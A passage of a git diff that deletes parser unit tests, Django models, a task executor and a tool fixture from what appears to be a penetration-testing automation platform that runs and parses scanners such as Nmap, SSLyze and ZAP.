Spring4Shell Scan parser.''' - - tool_name = 'Spring4Shell Scan' - - def test_cve_2022_22963(self) -> None: - '''Test to parse report with CVE-2022-22963 vulnerability.''' - expected = [ - {'model': Vulnerability, 'name': 'Spring Cloud RCE', 'cve': 'CVE-2022-22963'} - ] - self.check_tool_output_parser('cve_2022_22963.txt', expected) - - def test_cve_2022_22965(self) -> None: - '''Test to parse report with CVE-2022-22965 vulnerability.''' - expected = [ - {'model': Vulnerability, 'name': 'Spring4Shell RCE', 'cve': 'CVE-2022-22965'} - ] - self.check_tool_output_parser('cve_2022_22965.txt', expected) - - def test_no_vulnerable(self) -> None: - '''Test to parse report without vulnerability.''' - self.check_tool_output_parser('not_vulnerable.txt', []) diff --git a/src/backend/testing/tools/test_ssh_audit.py b/src/backend/testing/tools/test_ssh_audit.py deleted file mode 100644 index f0bdc8802..000000000 --- a/src/backend/testing/tools/test_ssh_audit.py +++ /dev/null @@ -1,49 +0,0 @@ -from findings.models import Technology, Vulnerability -from testing.tools.base import ToolParserTest - - -class SSHAuditParserTest(ToolParserTest): - '''Test cases for SSH Audit parser.''' - - tool_name = 'SSH Audit' - - def test_ssh_audit_cve_2018_10933(self) -> None: - '''Test to parse report with CVE-2018-10933 vulnerability.''' - expected = [ - {'model': Technology, 'name': 'libssh', 'version': '0.8.1'}, - {'model': Vulnerability, 'name': 'Authentication bypass', 'cve': 'CVE-2018-10933'}, - { - 'model': Vulnerability, - 'name': 'Insecure key exchange algorithms', - 'description': 'ecdh-sha2-nistp256, ecdh-sha2-nistp384, ecdh-sha2-nistp521, diffie-hellman-group1-sha1' - }, - {'model': Vulnerability, 'name': 'Insecure host key algorithms', 'description': 'ssh-rsa'}, - { - 'model': Vulnerability, - 'name': 'Insecure encryption algorithms', - 'description': 'aes256-cbc, aes192-cbc, aes128-cbc, blowfish-cbc, 3des-cbc' - } - ] - super().check_tool_output_parser('cve_2018_10933.txt', expected) - - def test_ssh_audit_cve_2018_15473(self) -> None: - '''Test to parse report with CVE-2018-15473 vulnerability.''' - expected = [ - {'model': Technology, 'name': 'OpenSSH', 'version': '7.7'}, - { - 'model': Vulnerability, - 'name': 'Enumerate usernames due to timing discrepencies', - 'cve': 'CVE-2018-15473' - }, - { - 'model': Vulnerability, - 'name': 'Insecure key exchange algorithms', - 'description': 'ecdh-sha2-nistp256, ecdh-sha2-nistp384, ecdh-sha2-nistp521' - }, - { - 'model': Vulnerability, - 'name': 'Insecure host key algorithms', - 'description': 'ssh-rsa, ecdsa-sha2-nistp256' - } - ] - super().check_tool_output_parser('cve_2018_15473.txt', expected) diff --git a/src/backend/testing/tools/test_sslscan.py b/src/backend/testing/tools/test_sslscan.py deleted file mode 100644 index 227f9e6d9..000000000 --- a/src/backend/testing/tools/test_sslscan.py +++ /dev/null @@ -1,185 +0,0 @@ -from findings.enums import Severity -from findings.models import Technology, Vulnerability -from testing.tools.base import ToolParserTest - - -class SslscanParserTest(ToolParserTest): - '''Test cases for Sslscan parser.''' - - tool_name = 'Sslscan' - - def test_protocols(self) -> None: - '''Test to parse report with insecure protocols and cipher suites.''' - expected = [ - {'model': Technology, 'name': 'TLS', 'version': '1.0'}, - { - 'model': Vulnerability, - 'name': 'Insecure TLS version supported', - 'description': 'TLS 1.0 is supported', - 'severity': Severity.MEDIUM, - 'cwe': 'CWE-326' - }, - {'model': Technology, 'name': 'TLS', 'version': '1.1'}, - { - 'model': Vulnerability, - 'name': 'Insecure TLS version supported', - 'description': 'TLS 1.1 is supported', - 'severity': Severity.MEDIUM, - 'cwe': 'CWE-326' - }, - {'model': Technology, 'name': 'TLS', 'version': '1.2'}, - { - 'model': Vulnerability, - 'name': 'Insecure cipher suite supported', - 'description': 'TLSv1.2 DES-CBC3-SHA status=accepted strength=medium', - 'severity': Severity.LOW, - 'cwe': 'CWE-326' - }, - { - 'model': Vulnerability, - 'name': 'Insecure cipher suite supported', - 'description': 'TLSv1.1 DES-CBC3-SHA status=accepted strength=medium', - 'severity': Severity.LOW, - 'cwe': 'CWE-326' - }, - { - 'model': Vulnerability, - 'name': 'Insecure cipher suite supported', - 'description': 'TLSv1.0 DES-CBC3-SHA status=accepted strength=medium', - 'severity': Severity.LOW, - 'cwe': 'CWE-326' - } - ] - super().check_tool_file_parser('protocols.xml', expected) - - def test_heartbleed(self) -> None: - '''Test to parse report with Heartbleed vulnerability.''' - expected = [ - {'model': Technology, 'name': 'TLS', 'version': '1.0'}, - { - 'model': Vulnerability, - 'name': 'Insecure TLS version supported', - 'description': 'TLS 1.0 is supported', - 'severity': Severity.MEDIUM, - 'cwe': 'CWE-326' - }, - {'model': Technology, 'name': 'TLS', 'version': '1.1'}, - { - 'model': Vulnerability, - 'name': 'Insecure TLS version supported', - 'description': 'TLS 1.1 is supported', - 'severity': Severity.MEDIUM, - 'cwe': 'CWE-326' - }, - {'model': Technology, 'name': 'TLS', 'version': '1.2'}, - {'model': Vulnerability, 'name': 'Heartbleed in TLSv1.1', 'cve': 'CVE-2014-0160'}, - {'model': Vulnerability, 'name': 'Heartbleed in TLSv1.0', 'cve': 'CVE-2014-0160'} - ] - super().check_tool_file_parser('heartbleed.xml', expected) - - def test_insecure_renegotiation(self) -> None: - '''Test to parse report with insecure renegotiation vulnerability.''' - expected = [ - {'model': Technology, 'name': 'SSL', 'version': '2'}, - { - 'model': Vulnerability, - 'name': 'Insecure SSL version supported', - 'description': 'SSL 2 is supported', - 'severity': Severity.HIGH, - 'cwe': 'CWE-326' - }, - {'model': Technology, 'name': 'SSL', 'version': '3'}, - { - 'model': Vulnerability, - 'name': 'Insecure SSL version supported', - 'description': 'SSL 3 is supported', - 'severity': Severity.HIGH, - 'cwe': 'CWE-326' - }, - {'model': Technology, 'name': 'TLS', 'version': '1.0'}, - { - 'model': Vulnerability, - 'name': 'Insecure TLS version supported', - 'description': 'TLS 1.0 is supported', - 'severity': Severity.MEDIUM, - 'cwe': 'CWE-326' - }, - { - 'model': Vulnerability, - 'name': 'Insecure TLS renegotiation supported', - 'description': 'Insecure TLS renegotiation supported', - 'severity': Severity.MEDIUM, - 'cwe': 'CWE-264' - }, - { - 'model': Vulnerability, - 'name': 'Insecure cipher suite supported', - 'description': 'TLSv1.0 DHE-RSA-DES-CBC3-SHA status=accepted strength=medium', - 'severity': Severity.LOW, - 'cwe': 'CWE-326' - }, - { - 'model': Vulnerability, - 'name': 'Insecure cipher suite supported', - 'description': 'TLSv1.0 RC4-SHA status=accepted strength=medium', - 'severity': Severity.LOW, - 'cwe': 'CWE-326' - }, - { - 'model': Vulnerability, - 'name': 'Insecure cipher suite supported', - 'description': 'TLSv1.0 RC4-MD5 status=accepted strength=medium', - 'severity': Severity.LOW, - 'cwe': 'CWE-326' - }, - { - 'model': Vulnerability, - 'name': 'Insecure cipher suite supported', - 'description': 'TLSv1.0 DES-CBC3-SHA status=accepted strength=medium', - 'severity': Severity.LOW, - 'cwe': 'CWE-326' - }, - { - 'model': Vulnerability, - 'name': 'Insecure cipher suite supported', - 'description': 'TLSv1.0 TLS_RSA_EXPORT_WITH_RC4_40_MD5 status=accepted strength=weak', - 'severity': Severity.LOW, - 'cwe': 'CWE-326' - }, - { - 'model': Vulnerability, - 'name': 'Insecure cipher suite supported', - 'description': 'TLSv1.0 TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 status=accepted strength=weak', - 'severity': Severity.LOW, - 'cwe': 'CWE-326' - }, - { - 'model': Vulnerability, - 'name': 'Insecure cipher suite supported', - 'description': 'TLSv1.0 TLS_RSA_EXPORT_WITH_DES40_CBC_SHA status=accepted strength=weak', - 'severity': Severity.LOW, - 'cwe': 'CWE-326' - }, - { - 'model': Vulnerability, - 'name': 'Insecure cipher suite supported', - 'description': 'TLSv1.0 TLS_RSA_WITH_DES_CBC_SHA status=accepted strength=medium', - 'severity': Severity.LOW, - 'cwe': 'CWE-326' - }, - { - 'model': Vulnerability, - 'name': 'Insecure cipher suite supported', - 'description': 'TLSv1.0 TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA status=accepted strength=weak', - 'severity': Severity.LOW, - 'cwe': 'CWE-326' - }, - { - 'model': Vulnerability, - 'name': 'Insecure cipher suite supported', - 'description': 'TLSv1.0 TLS_DHE_RSA_WITH_DES_CBC_SHA status=accepted strength=medium', - 'severity': Severity.LOW, - 'cwe': 'CWE-326' - } - ] - super().check_tool_file_parser('insecure-renegotiation.xml', expected) diff --git a/src/backend/testing/tools/test_sslyze.py b/src/backend/testing/tools/test_sslyze.py deleted file mode 100644 index 6812ca97b..000000000 --- a/src/backend/testing/tools/test_sslyze.py +++ /dev/null @@ -1,133 +0,0 @@ -from findings.enums import Severity -from findings.models import Technology, Vulnerability -from testing.tools.base import ToolParserTest - - -class SSLyzeParserTest(ToolParserTest): - '''Test cases for SSLyze parser.''' - - tool_name = 'SSLyze' - - def test_protocols(self) -> None: - '''Test to parse report with insecure protocols.''' - expected = [ - {'model': Technology, 'name': 'TLS', 'version': '1.0'}, - { - 'model': Vulnerability, - 'name': 'Insecure TLS version supported', - 'description': 'TLS 1.0 is supported', - 'severity': Severity.MEDIUM, - 'cwe': 'CWE-326' - }, - {'model': Technology, 'name': 'TLS', 'version': '1.1'}, - { - 'model': Vulnerability, - 'name': 'Insecure TLS version supported', - 'description': 'TLS 1.1 is supported', - 'severity': Severity.MEDIUM, - 'cwe': 'CWE-326' - }, - {'model': Technology, 'name': 'TLS', 'version': '1.2'}, - {'model': Technology, 'name': 'Generic TLS'}, - { - 'model': Vulnerability, - 'name': 'Certificate subject error', - 'description': "Certificate subject doesn't match hostname", - 'severity': Severity.INFO, - 'cwe': 'CWE-295' - } - ] - super().check_tool_file_parser('protocols.json', expected) - - def test_vulnerabilities(self) -> None: - '''Test to parse report with pre-defined vulnerabilities.''' - expected = [ - {'model': Technology, 'name': 'Generic TLS'}, - {'model': Vulnerability, 'name': 'Heartbleed', 'cve': 'CVE-2014-0160'}, - {'model': Vulnerability, 'name': 'OpenSSL CSS Injection', 'cve': 'CVE-2014-0224'}, - { - 'model': Vulnerability, - 'name': 'ROBOT', - 'description': 'Return Of the Bleichenbacher Oracle Threat', - 'severity': Severity.MEDIUM, - 'cwe': 'CWE-203', - 'reference': 'https://www.robotattack.org/' - }, - {'model': Vulnerability, 'name': 'CRIME', 'cve': 'CVE-2012-4929'}, - {'model': Technology, 'name': 'TLS', 'version': '1.0'}, - { - 'model': Vulnerability, - 'name': 'Insecure TLS version supported', - 'description': 'TLS 1.0 is supported', - 'severity': Severity.MEDIUM, - 'cwe': 'CWE-326' - }, - {'model': Technology, 'name': 'TLS', 'version': '1.1'}, - { - 'model': Vulnerability, - 'name': 'Insecure TLS version supported', - 'description': 'TLS 1.1 is supported', - 'severity': Severity.MEDIUM, - 'cwe': 'CWE-326' - }, - {'model': Technology, 'name': 'TLS', 'version': '1.2'}, - { - 'model': Vulnerability, - 'name': 'Certificate subject error', - 'description': "Certificate subject doesn't match hostname", - 'severity': Severity.INFO, - 'cwe': 'CWE-295' - } - ] - super().check_tool_file_parser('vulnerabilities.json', expected) - - def test_insecure_renegotiation(self) -> None: - '''Test to parse report with insecure renegotiation vulnerability.''' - expected = [ - {'model': Technology, 'name': 'Generic TLS'}, - { - 'model': Vulnerability, - 'name': 'Insecure TLS renegotiation supported', - 'description': 'Insecure TLS renegotiation supported', - 'severity': Severity.MEDIUM, - 'cwe': 'CWE-264' - }, - {'model': Technology, 'name': 'SSL', 'version': '3.0'}, - { - 'model': Vulnerability, - 'name': 'Insecure SSL version supported', - 'description': 'SSL 3.0 is supported', - 'severity': Severity.HIGH, - 'cwe': 'CWE-326' - }, - {'model': Technology, 'name': 'TLS', 'version': '1.0'}, - { - 'model': Vulnerability, - 'name': 'Insecure TLS version supported', - 'description': 'TLS 1.0 is supported', - 'severity': Severity.MEDIUM, - 'cwe': 'CWE-326' - }, - { - 'model': Vulnerability, - 'name': 'Insecure cipher suite supported', - 'description': 'TLS 1.0 TLS_RSA_WITH_RC4_128_SHA', - 'severity': Severity.LOW, - 'cwe': 'CWE-326' - }, - { - 'model': Vulnerability, - 'name': 'Insecure cipher suite supported', - 'description': 'TLS 1.0 TLS_RSA_WITH_RC4_128_MD5', - 'severity': Severity.LOW, - 'cwe': 'CWE-326' - }, - { - 'model': Vulnerability, - 'name': 'Insecure cipher suite supported', - 'description': 'TLS 1.0 TLS_RSA_EXPORT_WITH_RC4_40_MD5', - 'severity': Severity.LOW, - 'cwe': 'CWE-326' - } - ] - super().check_tool_file_parser('insecure-renegotiation.json', expected) diff --git a/src/backend/testing/tools/test_theharvester.py b/src/backend/testing/tools/test_theharvester.py deleted file mode 100644 index 2da528943..000000000 --- a/src/backend/testing/tools/test_theharvester.py +++ /dev/null @@ -1,22 +0,0 @@ -from findings.enums import DataType -from findings.models import OSINT -from testing.tools.base import ToolParserTest - - -class TheHarvesterParserTest(ToolParserTest): - '''Test cases for theHarvester parser.''' - - tool_name = 'theHarvester' - - def test_nmap_dot_org(self) -> None: - '''Test to parse report from scanme.nmap.org.''' - expected = [ - {'model': OSINT, 'data': '45.33.32.156', 'data_type': DataType.IP}, - {'model': OSINT, 'data': '74.207.244.221', 'data_type': DataType.IP}, - {'model': OSINT, 'data': '2600:3c01::f03c:91ff:fe18:bb2f', 'data_type': DataType.IP}, - {'model': OSINT, 'data': 'http://scanme.nmap.org', 'data_type': DataType.URL}, - {'model': OSINT, 'data': 'http://scanme.nmap.org/', 'data_type': DataType.URL}, - {'model': OSINT, 'data': 'http://scanme.nmap.org//r/n/r/nUser:/r/n-', 'data_type': DataType.URL}, - {'model': OSINT, 'data': 'AS63949', 'data_type': DataType.ASN}, - ] - super().check_tool_file_parser('scanme.json', expected) diff --git a/src/backend/testing/tools/test_zap.py b/src/backend/testing/tools/test_zap.py deleted file mode 100644 index a021ecc90..000000000 --- a/src/backend/testing/tools/test_zap.py +++ /dev/null @@ -1,137 +0,0 @@ -from findings.enums import PathType, Severity -from findings.models import Path, Vulnerability -from testing.tools.base import ToolParserTest - - -class ZapParserTest(ToolParserTest): - '''Test cases for OWASP ZAP parser.''' - - tool_name = 'ZAP' - - def test_active_scan(self) -> None: - '''Test to parse report from active scan.''' - expected = [ - {'model': Path, 'path': '/images/', 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/shared/', 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/shared/css/', 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/shared/images/Acunetix/', 'type': PathType.ENDPOINT}, - { - 'model': Vulnerability, - 'name': 'Directory Browsing', - 'description': ( - 'It is possible to view the directory listing. Directory listing may reveal hidden scripts, ' - 'include files, backup source files, etc. which can be accessed to read sensitive information.\n\n' - 'Location:\n' - '[GET] http://10.10.10.10/images/\n' - '[GET] http://10.10.10.10/shared/\n' - '[GET] http://10.10.10.10/shared/css/\n' - '[GET] http://10.10.10.10/shared/images/Acunetix/\n' - ), - 'severity': Severity.MEDIUM, - 'cwe': 'CWE-548', - 'reference': 'http://httpd.apache.org/docs/mod/core.html#options' - }, - { - 'model': Vulnerability, - 'name': 'X-Frame-Options Header Not Set', - 'description': ( - 'X-Frame-Options header is not included in the HTTP response to protect against ' - "'ClickJacking' attacks.\n\n" - 'Location:\n' - '[GET] http://10.10.10.10\n' - '[GET] http://10.10.10.10/\n' - ), - 'severity': Severity.MEDIUM, - 'cwe': 'CWE-1021', - 'reference': 'https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options' - }, - { - 'model': Vulnerability, - 'name': 'Absence of Anti-CSRF Tokens', - 'description': ( - 'No Anti-CSRF tokens were found in a HTML submission form.A cross-site request forgery ' - 'is an attack that involves forcing a victim to send an HTTP request to a target destination ' - 'without their knowledge or intent in order to perform an action as the victim. The underlying ' - 'cause is application functionality using predictable URL/form actions in a repeatable way. ' - 'The nature of the attack is that CSRF exploits the trust that a web site has for a user. ' - 'By contrast, cross-site scripting (XSS) exploits the trust that a user has for a web site. ' - 'Like XSS, CSRF attacks are not necessarily cross-site, but they can be. Cross-site request ' - 'forgery is also known as CSRF, XSRF, one-click attack, session riding, confused deputy, and ' - 'sea surf.CSRF attacks are effective in a number of situations, including: * The victim ' - 'has an active session on the target site. * The victim is authenticated via HTTP auth on ' - 'the target site. * The victim is on the same local network as the target site.CSRF has ' - "primarily been used to perform an action against a target site using the victim's privileges, " - 'but recent techniques have been discovered to disclose information by gaining access to the ' - 'response. The risk of information disclosure is dramatically increased when the target site ' - 'is vulnerable to XSS, because XSS can be used as a platform for CSRF, allowing the attack to ' - 'operate within the bounds of the same-origin policy.\n\n' - 'Location:\n' - '[GET] http://10.10.10.10\n' - '[GET] http://10.10.10.10/\n' - ), - 'severity': Severity.LOW, - 'cwe': 'CWE-352', - 'reference': 'http://projects.webappsec.org/Cross-Site-Request-Forgery' - }, - { - 'model': Vulnerability, - 'name': 'Cross-Domain JavaScript Source File Inclusion', - 'description': ( - 'The page includes one or more script files from a third-party domain.\n\n' - 'Location:\n' - '[GET] http://10.10.10.10\n' - '[GET] http://10.10.10.10\n' - '[GET] http://10.10.10.10/\n' - '[GET] http://10.10.10.10/\n' - ), - 'severity': Severity.LOW, - 'cwe': 'CWE-829' - }, - { - 'model': Path, - 'path': '/shared/images/Acunetix/acx_Chess-WB.gif', - 'type': PathType.ENDPOINT - }, - { - 'model': Vulnerability, - 'name': 'Timestamp Disclosure - Unix', - 'description': ( - 'A timestamp was disclosed by the application/web server - Unix\n\n' - 'Location:\n' - '[GET] http://10.10.10.10\n' - '[GET] http://10.10.10.10/\n' - '[GET] http://10.10.10.10/shared/images/Acunetix/acx_Chess-WB.gif\n' - ), - 'severity': Severity.LOW, - 'cwe': 'CWE-200', - 'reference': 'http://projects.webappsec.org/w/page/13246936/Information%20Leakage' - }, - {'model': Path, 'path': '/images/sitelogo.png', 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/shared/css/insecdb.css', 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/shared/images/tiny-eyeicon.png', 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/shared/images/topleftcurve.gif', 'type': PathType.ENDPOINT}, - { - 'model': Vulnerability, - 'name': 'X-Content-Type-Options Header Missing', - 'description': ( - "The Anti-MIME-Sniffing header X-Content-Type-Options was not set to 'nosniff'. " - 'This allows older versions of Internet Explorer and Chrome to perform MIME-sniffing ' - 'on the response body, potentially causing the response body to be interpreted and ' - 'displayed as a content type other than the declared content type. Current (early 2014) ' - 'and legacy versions of Firefox will use the declared content type (if one is set), ' - 'rather than performing MIME-sniffing.\n\n' - 'Location:\n' - '[GET] http://10.10.10.10\n' - '[GET] http://10.10.10.10/\n' - '[GET] http://10.10.10.10/images/sitelogo.png\n' - '[GET] http://10.10.10.10/shared/css/insecdb.css\n' - '[GET] http://10.10.10.10/shared/images/Acunetix/acx_Chess-WB.gif\n' - '[GET] http://10.10.10.10/shared/images/tiny-eyeicon.png\n' - '[GET] http://10.10.10.10/shared/images/topleftcurve.gif\n' - ), - 'severity': Severity.LOW, - 'cwe': 'CWE-693', - 'reference': 'http://msdn.microsoft.com/en-us/library/ie/gg622941%28v=vs.85%29.aspx' - } - ] - super().check_tool_file_parser('active-scan.xml', expected) diff --git a/src/backend/tools/__init__.py b/src/backend/tools/__init__.py deleted file mode 100644 index 7555cc53b..000000000 --- a/src/backend/tools/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Tools.''' diff --git a/src/backend/tools/admin.py b/src/backend/tools/admin.py deleted file mode 100644 index 9ed4a5ccf..000000000 --- a/src/backend/tools/admin.py +++ /dev/null @@ -1,10 +0,0 @@ -from django.contrib import admin -from tools.models import Tool, Configuration, Input, Output, Intensity - -# Register your models here. - -admin.site.register(Tool) -admin.site.register(Configuration) -admin.site.register(Input) -admin.site.register(Output) -admin.site.register(Intensity) diff --git a/src/backend/tools/apps.py b/src/backend/tools/apps.py deleted file mode 100644 index a01cd5ac2..000000000 --- a/src/backend/tools/apps.py +++ /dev/null @@ -1,47 +0,0 @@ -import os -from pathlib import Path -from typing import Any - -from django.apps import AppConfig -from django.core import management -from django.core.management.commands import loaddata -from django.db.models.signals import post_migrate - - -class ToolsConfig(AppConfig): - '''Tool Django application.''' - - name = 'tools' - - def ready(self) -> None: - '''Run code as soon as the registry is fully populated.''' - # Configure fixtures to be loaded after migration - post_migrate.connect(self.load_tools_models, sender=self) - # Needed here to ensure processes migration after tools migration - post_migrate.connect(self.load_processes_models, sender=self) - - def load_tools_models(self, **kwargs: Any) -> None: - '''Load tools fixtures in database.''' - path = os.path.join(Path(__file__).resolve().parent, 'fixtures') # Path to fixtures directory - management.call_command( - loaddata.Command(), - os.path.join(path, '1_tools.json'), # Tool entities - os.path.join(path, '2_intensities.json'), # Intensity entities - os.path.join(path, '3_configurations.json'), # Configuration entities - os.path.join(path, '4_arguments.json'), # Argument entities - os.path.join(path, '5_inputs.json'), # Input entities - os.path.join(path, '6_outputs.json') # Output entities - ) - - def load_processes_models(self, **kwargs: Any) -> None: - '''Load processes fixtures in database.''' - from processes.models import Process, Step - if Process.objects.exists() or Step.objects.exists(): # Check if default data is loaded - return - # Path to fixtures directory - path = os.path.join(Path(__file__).resolve().parent.parent, 'processes', 'fixtures') - management.call_command( - loaddata.Command(), - os.path.join(path, '1_processes.json'), # Process entities - os.path.join(path, '2_steps.json'), # Step entities - ) diff --git a/src/backend/tools/enums.py b/src/backend/tools/enums.py deleted file mode 100644 index 6de3ae8fe..000000000 --- a/src/backend/tools/enums.py +++ /dev/null @@ -1,23 +0,0 @@ -from django.db import models - -# Create your enums here. - - -class IntensityRank(models.IntegerChoices): - '''Intensity ranks.''' - - SNEAKY = 1 # Softest - LOW = 2 - NORMAL = 3 - HARD = 4 - INSANE = 5 # Hardest - - -class Stage(models.IntegerChoices): - '''Stage names.''' - - OSINT = 1 - ENUMERATION = 2 - VULNERABILITIES = 3 - SERVICES = 4 - EXPLOITATION = 5 diff --git a/src/backend/tools/exceptions.py b/src/backend/tools/exceptions.py deleted file mode 100644 index 3e1075ab1..000000000 --- a/src/backend/tools/exceptions.py +++ /dev/null @@ -1,4 +0,0 @@ -class ToolExecutionException(Exception): - '''Tool execution generic exception.''' - - pass diff --git a/src/backend/tools/executor/__init__.py b/src/backend/tools/executor/__init__.py deleted file mode 100644 index c4c19af33..000000000 --- a/src/backend/tools/executor/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Tool executor.''' diff --git a/src/backend/tools/executor/callback.py b/src/backend/tools/executor/callback.py deleted file mode 100644 index cab441651..000000000 --- a/src/backend/tools/executor/callback.py +++ /dev/null @@ -1,22 +0,0 @@ -import logging -from typing import Any - -from django.utils import timezone -from tools.tools.base_tool import BaseTool - -logger = logging.getLogger() # Rekono logger - - -def tool_callback(job: Any, connection: Any, result: BaseTool, *args: Any, **kwargs: Any) -> None: - '''Run code after execution job success. In this case, update task information. - - Args: - job (Any): Not used. - connection (Any): Not used. - result (BaseTool): Successful execution job result - ''' - task = result.execution.task # Get task associated to the execution - task.status = result.execution.status # Update task status - task.end = timezone.now() # Update the task end date - task.save(update_fields=['status', 'end']) - logger.info(f'[Task] Task {task.id} has been completed with {task.status} status') diff --git a/src/backend/tools/executor/executor.py b/src/backend/tools/executor/executor.py deleted file mode 100644 index 518b313dd..000000000 --- a/src/backend/tools/executor/executor.py +++ /dev/null @@ -1,47 +0,0 @@ -import logging - -from executions import utils -from executions.models import Execution -from executions.queue import producer -from parameters.models import InputTechnology, InputVulnerability -from tasks.models import Task -from tools.executor.callback import tool_callback -from tools.models import Argument, Intensity - -logger = logging.getLogger() # Rekono logger - - -def execute(task: Task) -> None: - '''Execute a task that requests a tool execution. - - Args: - task (Task): Task that requests a tool execution - ''' - # Get requested intensity entity - intensity = Intensity.objects.filter(tool=task.tool, value=task.intensity).first() - arguments = Argument.objects.filter(tool=task.tool).all() # Get arguments for requested tool - targets = list(task.wordlists.all()) # Wordlists are included in targets - targets.append(task.target) # Add target to task targets - targets.extend(list(task.target.target_ports.all())) # Add target ports to task targets - # Add input technologies to task targets - targets.extend(list(InputTechnology.objects.filter(target=task.target).all())) - # Add input vulnerabilities to task targets - targets.extend(list(InputVulnerability.objects.filter(target=task.target).all())) - # Get the executions required for this job based on targets and tool arguments. - # A job can need multiple executions. For example, if the user includes more than one Wordlist and - # the tool is Dirsearch that only accepts one wordlist as argument. Rekono will - # generate one Dirsearch execution for each wordlist provided by the user. It can also occur with - # TargetPort, InputTechnology or InputVulnerability. - executions = utils.get_executions_from_findings(targets, task.tool) - logger.info(f'[Tool] Task {task.id} requires {len(executions)} executions') - for execution_targets in executions: # For each job execution - # Create the Execution entity - execution = Execution.objects.create(task=task, tool=task.tool, configuration=task.configuration) - # Enqueue the execution in the executions queue - producer.producer( - execution=execution, - intensity=intensity, - arguments=arguments, - targets=execution_targets, - callback=tool_callback - ) diff --git a/src/backend/tools/filters.py b/src/backend/tools/filters.py deleted file mode 100644 index 5cff4848c..000000000 --- a/src/backend/tools/filters.py +++ /dev/null @@ -1,45 +0,0 @@ -from django_filters.rest_framework import FilterSet, filters -from likes.filters import LikeFilter - -from tools.models import Configuration, Tool - - -class ToolFilter(LikeFilter): - '''FilterSet to filter and sort Tool entities.''' - - o = filters.OrderingFilter(fields=('name', 'stage', 'likes_count')) # Ordering fields - - class Meta: - '''FilterSet metadata.''' - - model = Tool - fields = { # Filter fields - 'name': ['exact', 'icontains'], - 'command': ['exact', 'icontains'], - 'configurations': ['exact'], - 'configurations__name': ['exact', 'icontains'], - 'configurations__stage': ['exact'], - 'arguments__inputs__type__name': ['exact'], - 'configurations__outputs__type__name': ['exact'] - } - - -class ConfigurationFilter(FilterSet): - '''FilterSet to filter and sort Configuration entities.''' - - o = filters.OrderingFilter(fields=('tool', 'stage', 'name')) # Ordering fields - - class Meta: - '''FilterSet metadata.''' - - model = Configuration - fields = { # Filter fields - 'tool': ['exact'], - 'tool__name': ['exact', 'icontains'], - 'tool__command': ['exact', 'icontains'], - 'name': ['exact', 'icontains'], - 'stage': ['exact'], - 'default': ['exact'], - 'tool__arguments__inputs__type__name': ['exact'], - 'outputs__type__name': ['exact'], - } diff --git a/src/backend/tools/fixtures/1_tools.json b/src/backend/tools/fixtures/1_tools.json deleted file mode 100644 index daf07c1d3..000000000 --- a/src/backend/tools/fixtures/1_tools.json +++ /dev/null @@ -1,242 +0,0 @@ -[ - { - "model": "tools.tool", - "pk": 1, - "fields": { - "name": "Nmap", - "command": "nmap", - "output_format": "xml", - "defectdojo_scan_type": "Nmap Scan", - "reference": "https://nmap.org/", - "icon": "https://www.kali.org/tools/nmap/images/nmap-logo.svg" - } - }, - { - "model": "tools.tool", - "pk": 2, - "fields": { - "name": "Dirsearch", - "command": "dirsearch", - "output_format": "json", - "defectdojo_scan_type": null, - "reference": "https://github.com/maurosoria/dirsearch", - "icon": "https://raw.githubusercontent.com/maurosoria/dirsearch/master/static/logo.png" - } - }, - { - "model": "tools.tool", - "pk": 3, - "fields": { - "name": "theHarvester", - "command": "theHarvester", - "output_format": "json", - "defectdojo_scan_type": null, - "reference": "https://github.com/laramies/theHarvester", - "icon": "https://www.kali.org/tools/theharvester/images/theharvester-logo.svg" - } - }, - { - "model": "tools.tool", - "pk": 4, - "fields": { - "name": "Nikto", - "command": "nikto", - "output_format": "xml", - "defectdojo_scan_type": "Nikto Scan", - "reference": "https://github.com/sullo/nikto", - "icon": "https://www.kali.org/tools/nikto/images/nikto-logo.svg" - } - }, - { - "model": "tools.tool", - "pk": 5, - "fields": { - "name": "Sslscan", - "command": "sslscan", - "output_format": "xml", - "defectdojo_scan_type": "Sslscan", - "reference": "https://github.com/rbsec/sslscan", - "icon": "https://www.kali.org/tools/sslscan/images/sslscan-logo.svg" - } - }, - { - "model": "tools.tool", - "pk": 6, - "fields": { - "name": "SSLyze", - "command": "sslyze", - "output_format": "json", - "defectdojo_scan_type": "SSLyze 3 Scan (JSON)", - "reference": "https://nabla-c0d3.github.io/sslyze/documentation/", - "icon": "https://www.kali.org/tools/sslyze/images/sslyze-logo.svg" - } - }, - { - "model": "tools.tool", - "pk": 7, - "fields": { - "name": "CMSeeK", - "command": "cmseek", - "output_format": "json", - "defectdojo_scan_type": null, - "reference": "https://github.com/Tuhinshubhra/CMSeeK/", - "icon": "https://camo.githubusercontent.com/b1864e58e861aa4e938d17d4a50ae1a4bedec9cdb9e8b7ce7ac80a1b5cc711ed/68747470733a2f2f692e696d6775722e636f6d2f35565973316d322e706e67" - } - }, - { - "model": "tools.tool", - "pk": 8, - "fields": { - "name": "ZAP", - "command": "zaproxy", - "output_format": "xml", - "defectdojo_scan_type": "ZAP Scan", - "reference": "https://www.zaproxy.org/", - "icon": "https://www.kali.org/tools/zaproxy/images/zaproxy-logo.svg" - } - }, - { - "model": "tools.tool", - "pk": 9, - "fields": { - "name": "SearchSploit", - "command": "searchsploit", - "output_format": "json", - "defectdojo_scan_type": null, - "reference": "https://www.exploit-db.com/searchsploit", - "icon": "https://www.kali.org/tools/exploitdb/images/exploitdb-logo.svg" - } - }, - { - "model": "tools.tool", - "pk": 10, - "fields": { - "name": "Metasploit", - "command": "msfconsole", - "output_format": null, - "defectdojo_scan_type": null, - "reference": "https://www.metasploit.com/", - "icon": "https://www.kali.org/tools/metasploit-framework/images/metasploit-framework-logo.svg" - } - }, - { - "model": "tools.tool", - "pk": 11, - "fields": { - "name": "Log4j Scan", - "command": "python3", - "output_format": null, - "defectdojo_scan_type": null, - "reference": "https://github.com/fullhunt/log4j-scan", - "icon": "https://fullhunt.io/static/theme/images/logo/favicon.ico" - } - }, - { - "model": "tools.tool", - "pk": 12, - "fields": { - "name": "EmailFinder", - "command": "emailfinder", - "output_format": null, - 